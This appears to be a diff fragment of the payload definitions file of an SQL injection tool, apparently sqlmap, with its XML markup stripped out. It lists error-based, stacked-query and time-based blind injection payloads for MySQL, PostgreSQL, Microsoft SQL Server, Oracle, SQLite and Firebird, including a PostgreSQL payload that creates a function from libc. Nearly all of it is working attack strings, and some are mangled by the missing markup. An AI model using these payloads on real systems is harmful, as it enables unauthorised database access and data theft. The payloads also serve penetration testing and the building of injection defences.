+ + + Microsoft SQL Server/Sybase error-based - ORDER BY clause + 2 + 3 + 0 + 3 + 1 + + (CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle error-based - ORDER BY clause + 2 + 3 + 0 + 3 + 1 + + (SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Oracle +
+
+ + + MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses + 2 + 4 + 0 + 2,3 + 3 + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - GROUP BY and ORDER BY clauses + 2 + 4 + 0 + 2,3 + 3 + + (CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - ORDER BY clause + 2 + 4 + 0 + 3 + 3 + + (CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle error-based - ORDER BY clause + 2 + 4 + 0 + 3 + 3 + + (SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Oracle +
+
+ + + + + + + + + + + + MySQL > 5.0.11 stacked queries + 4 + 1 + 0 + 0 + 1 + + ; SELECT SLEEP([SLEEPTIME]); + -- + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 stacked queries + 4 + 2 + 0 + 0 + 1 + + ; SELECT BENCHMARK(5000000, MD5('[SLEEPTIME]')); + -- + + + + +
+ MySQL + < 5.0.12 +
+
+ + + PostgreSQL > 8.1 stacked queries + 4 + 1 + 0 + 0 + 1 + + ; SELECT PG_SLEEP([SLEEPTIME]); + -- + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL < 8.2 stacked queries - exists function + 4 + 3 + 0 + 0 + 1 + + ; SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 3000000)); + -- + + + + +
+ PostgreSQL + < 8.2 +
+
+ + + PostgreSQL < 8.2 stacked queries - Glibc + 4 + 4 + 0 + 0 + 1 + + ; CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]); + -- + + + + +
+ PostgreSQL + < 8.2 + Linux +
+
+ + + Microsoft SQL Server/Sybase stacked queries + 4 + 1 + 0 + 0 + 1 + + ; WAITFOR DELAY '0:0:[SLEEPTIME]'; + -- + + + + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle stacked queries + 4 + 3 + 0 + 0 + 1 + + ; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END; + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries + 4 + 5 + 0 + 0 + 1 + + ; EXEC DBMS_LOCK.SLEEP([SLEEPTIME].00); + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries + 4 + 5 + 0 + 0 + 1 + + ; EXEC USER_LOCK.SLEEP([SLEEPTIME].00); + -- + + + + +
+ Oracle +
+
+ + + SQLite > 2.0 stacked queries + 4 + 3 + 0 + 0 + 1 + + ; SELECT LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))); + -- + + + + +
+ SQLite + > 2.0 +
+
+ + + + Firebird stacked queries + 4 + 3 + 0 + 0 + 1 + + ; SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6; + -- + + + + +
+ Firebird + > 2.0 +
+
+ + + + + + + MySQL > 5.0.11 AND time-based blind + 5 + 1 + 1 + 1 + 1 + + AND SLEEP([SLEEPTIME]) + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 AND time-based blind + 5 + 2 + 1 + 1 + 1 + + AND BENCHMARK(5000000, MD5('[SLEEPTIME]')) + + + + +
+ MySQL + < 5.0.12 +
+
+ + + PostgreSQL > 8.1 AND time-based blind + 5 + 1 + 1 + 1 + 1 + + AND PG_SLEEP([SLEEPTIME]) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + SQLite > 2.0 AND time-based blind + 5 + 3 + 1 + 1 + 1 + + AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + + Firebird AND time-based blind + 5 + 4 + 1 + 1 + 1 + + AND (COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0 + + + + +
+ Firebird + > 2.0 +
+
+ + + + + + + + MySQL > 5.0.11 OR time-based blind + 5 + 2 + 3 + 1 + 1 + + OR SLEEP([SLEEPTIME]) + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 OR time-based blind + 5 + 3 + 3 + 1 + 1 + + OR BENCHMARK(5000000, MD5('[SLEEPTIME]')) + + + + +
+ MySQL + < 5.0.12 +
+
+ + + PostgreSQL > 8.1 OR time-based blind + 5 + 2 + 3 + 1 + 1 + + OR PG_SLEEP([SLEEPTIME]) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + SQLite > 2.0 OR time-based blind + 5 + 4 + 3 + 1 + 1 + + OR LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + + Firebird OR time-based blind + 5 + 5 + 3 + 1 + 1 + + OR (COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0 + + + + +
+ Firebird + > 2.0 +
+
+ + + + + +